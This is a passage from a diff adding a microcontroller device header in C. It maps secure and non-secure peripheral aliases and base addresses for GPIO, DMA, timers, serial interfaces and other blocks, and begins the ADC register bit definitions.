PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define APB3PERIPH_BASE APB3PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_S +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define DTS DTS_S +#define DTS_BASE DTS_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA2 GPDMA2_S +#define GPDMA2_BASE GPDMA2_BASE_S + +#define GPDMA2_Channel0 GPDMA2_Channel0_S +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_S + +#define GPDMA2_Channel1 GPDMA2_Channel1_S +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_S + +#define GPDMA2_Channel2 GPDMA2_Channel2_S +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_S + +#define GPDMA2_Channel3 GPDMA2_Channel3_S +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_S + +#define GPDMA2_Channel4 GPDMA2_Channel4_S +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_S + +#define GPDMA2_Channel5 GPDMA2_Channel5_S +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_S + +#define GPDMA2_Channel6 GPDMA2_Channel6_S +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_S + +#define GPDMA2_Channel7 GPDMA2_Channel7_S +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM12 TIM12_S +#define TIM12_BASE TIM12_BASE_S + +#define TIM13 TIM13_S +#define TIM13_BASE TIM13_BASE_S + +#define TIM14 TIM14_S +#define TIM14_BASE TIM14_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define SPI4 SPI4_S +#define SPI4_BASE SPI4_BASE_S + +#define SPI5 SPI5_S +#define SPI5_BASE SPI5_BASE_S + +#define SPI6 SPI6_S +#define SPI6_BASE SPI6_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define UART7 UART7_S +#define UART7_BASE UART7_BASE_S + +#define UART8 UART8_S +#define UART8_BASE UART8_BASE_S + +#define UART9 UART9_S +#define UART9_BASE UART9_BASE_S + +#define USART10 USART10_S +#define USART10_BASE USART10_BASE_S + +#define USART11 USART11_S +#define USART11_BASE USART11_BASE_S + +#define UART12 UART12_S +#define UART12_BASE UART12_BASE_S + +#define CEC CEC_S +#define CEC_BASE CEC_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I3C1 I3C1_S +#define I3C1_BASE I3C1_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define FDCAN2 FDCAN2_S +#define FDCAN2_BASE FDCAN2_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPTIM5 LPTIM5_S +#define LPTIM5_BASE LPTIM5_BASE_S + +#define LPTIM6 LPTIM6_S +#define LPTIM6_BASE LPTIM6_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SBS SBS_S +#define SBS_BASE SBS_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define ETH ETH_S +#define ETH_BASE ETH_BASE_S +#define ETH_MAC ETH_MAC_S +#define ETH_MAC_BASE ETH_MAC_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define FMC_Bank5_6_R FMC_Bank5_6_R_S +#define FMC_Bank5_6_R_BASE FMC_Bank5_6_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#else + +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define FLASH_OBK_BASE FLASH_OBK_BASE_NS +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_NS +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_NS + +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS + +#define SRAM3_BASE SRAM3_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS + +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define APB3PERIPH_BASE APB3PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_NS +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define DTS DTS_NS +#define DTS_BASE DTS_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA2 GPDMA2_NS +#define GPDMA2_BASE GPDMA2_BASE_NS + +#define GPDMA2_Channel0 GPDMA2_Channel0_NS +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_NS + +#define GPDMA2_Channel1 GPDMA2_Channel1_NS +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_NS + +#define GPDMA2_Channel2 GPDMA2_Channel2_NS +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_NS + +#define GPDMA2_Channel3 GPDMA2_Channel3_NS +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_NS + +#define GPDMA2_Channel4 GPDMA2_Channel4_NS +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_NS + +#define GPDMA2_Channel5 GPDMA2_Channel5_NS +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_NS + +#define GPDMA2_Channel6 GPDMA2_Channel6_NS +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_NS + +#define GPDMA2_Channel7 GPDMA2_Channel7_NS +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM12 TIM12_NS +#define TIM12_BASE TIM12_BASE_NS + +#define TIM13 TIM13_NS +#define TIM13_BASE TIM13_BASE_NS + +#define TIM14 TIM14_NS +#define TIM14_BASE TIM14_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define SPI4 SPI4_NS +#define SPI4_BASE SPI4_BASE_NS + +#define SPI5 SPI5_NS +#define SPI5_BASE SPI5_BASE_NS + +#define SPI6 SPI6_NS +#define SPI6_BASE SPI6_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define UART7 UART7_NS +#define UART7_BASE UART7_BASE_NS + +#define UART8 UART8_NS +#define UART8_BASE UART8_BASE_NS + +#define UART9 UART9_NS +#define UART9_BASE UART9_BASE_NS + +#define USART10 USART10_NS +#define USART10_BASE USART10_BASE_NS + +#define USART11 USART11_NS +#define USART11_BASE USART11_BASE_NS + +#define UART12 UART12_NS +#define UART12_BASE UART12_BASE_NS + +#define CEC CEC_NS +#define CEC_BASE CEC_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I3C1 I3C1_NS +#define I3C1_BASE I3C1_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define FDCAN2 FDCAN2_NS +#define FDCAN2_BASE FDCAN2_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPTIM5 LPTIM5_NS +#define LPTIM5_BASE LPTIM5_BASE_NS + +#define LPTIM6 LPTIM6_NS +#define LPTIM6_BASE LPTIM6_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SBS SBS_NS +#define SBS_BASE SBS_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + + +#define ETH ETH_NS +#define ETH_BASE ETH_BASE_NS +#define ETH_MAC ETH_MAC_NS +#define ETH_MAC_BASE ETH_MAC_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define FMC_Bank5_6_R FMC_Bank5_6_R_NS +#define FMC_Bank5_6_R_BASE FMC_Bank5_6_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#endif + + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +#define ADC_MULTIMODE_SUPPORT /*!< ADC feature available only on specific devices: multimode available on devices with several ADC instances */ +/******************** Bit definition for ADC_ISR register *******************/ +#define ADC_ISR_ADRDY_Pos (0U) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ +#define ADC_ISR_EOSMP_Pos (1U) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ +#define ADC_ISR_EOC_Pos (2U) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ +#define ADC_ISR_EOS_Pos (3U) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ +#define ADC_ISR_OVR_Pos (4U) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ +#define ADC_ISR_JEOC_Pos (5U) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ +#define ADC_ISR_JEOS_Pos (6U) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ +#define ADC_ISR_AWD1_Pos (7U) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8U) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9U) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10U) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_IER register *******************/ +#define ADC_IER_ADRDYIE_Pos (0U) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ +#define ADC_IER_EOSMPIE_Pos (1U) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ +#define ADC_IER_EOCIE_Pos (2U) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ +#define ADC_IER_EOSIE_Pos (3U) 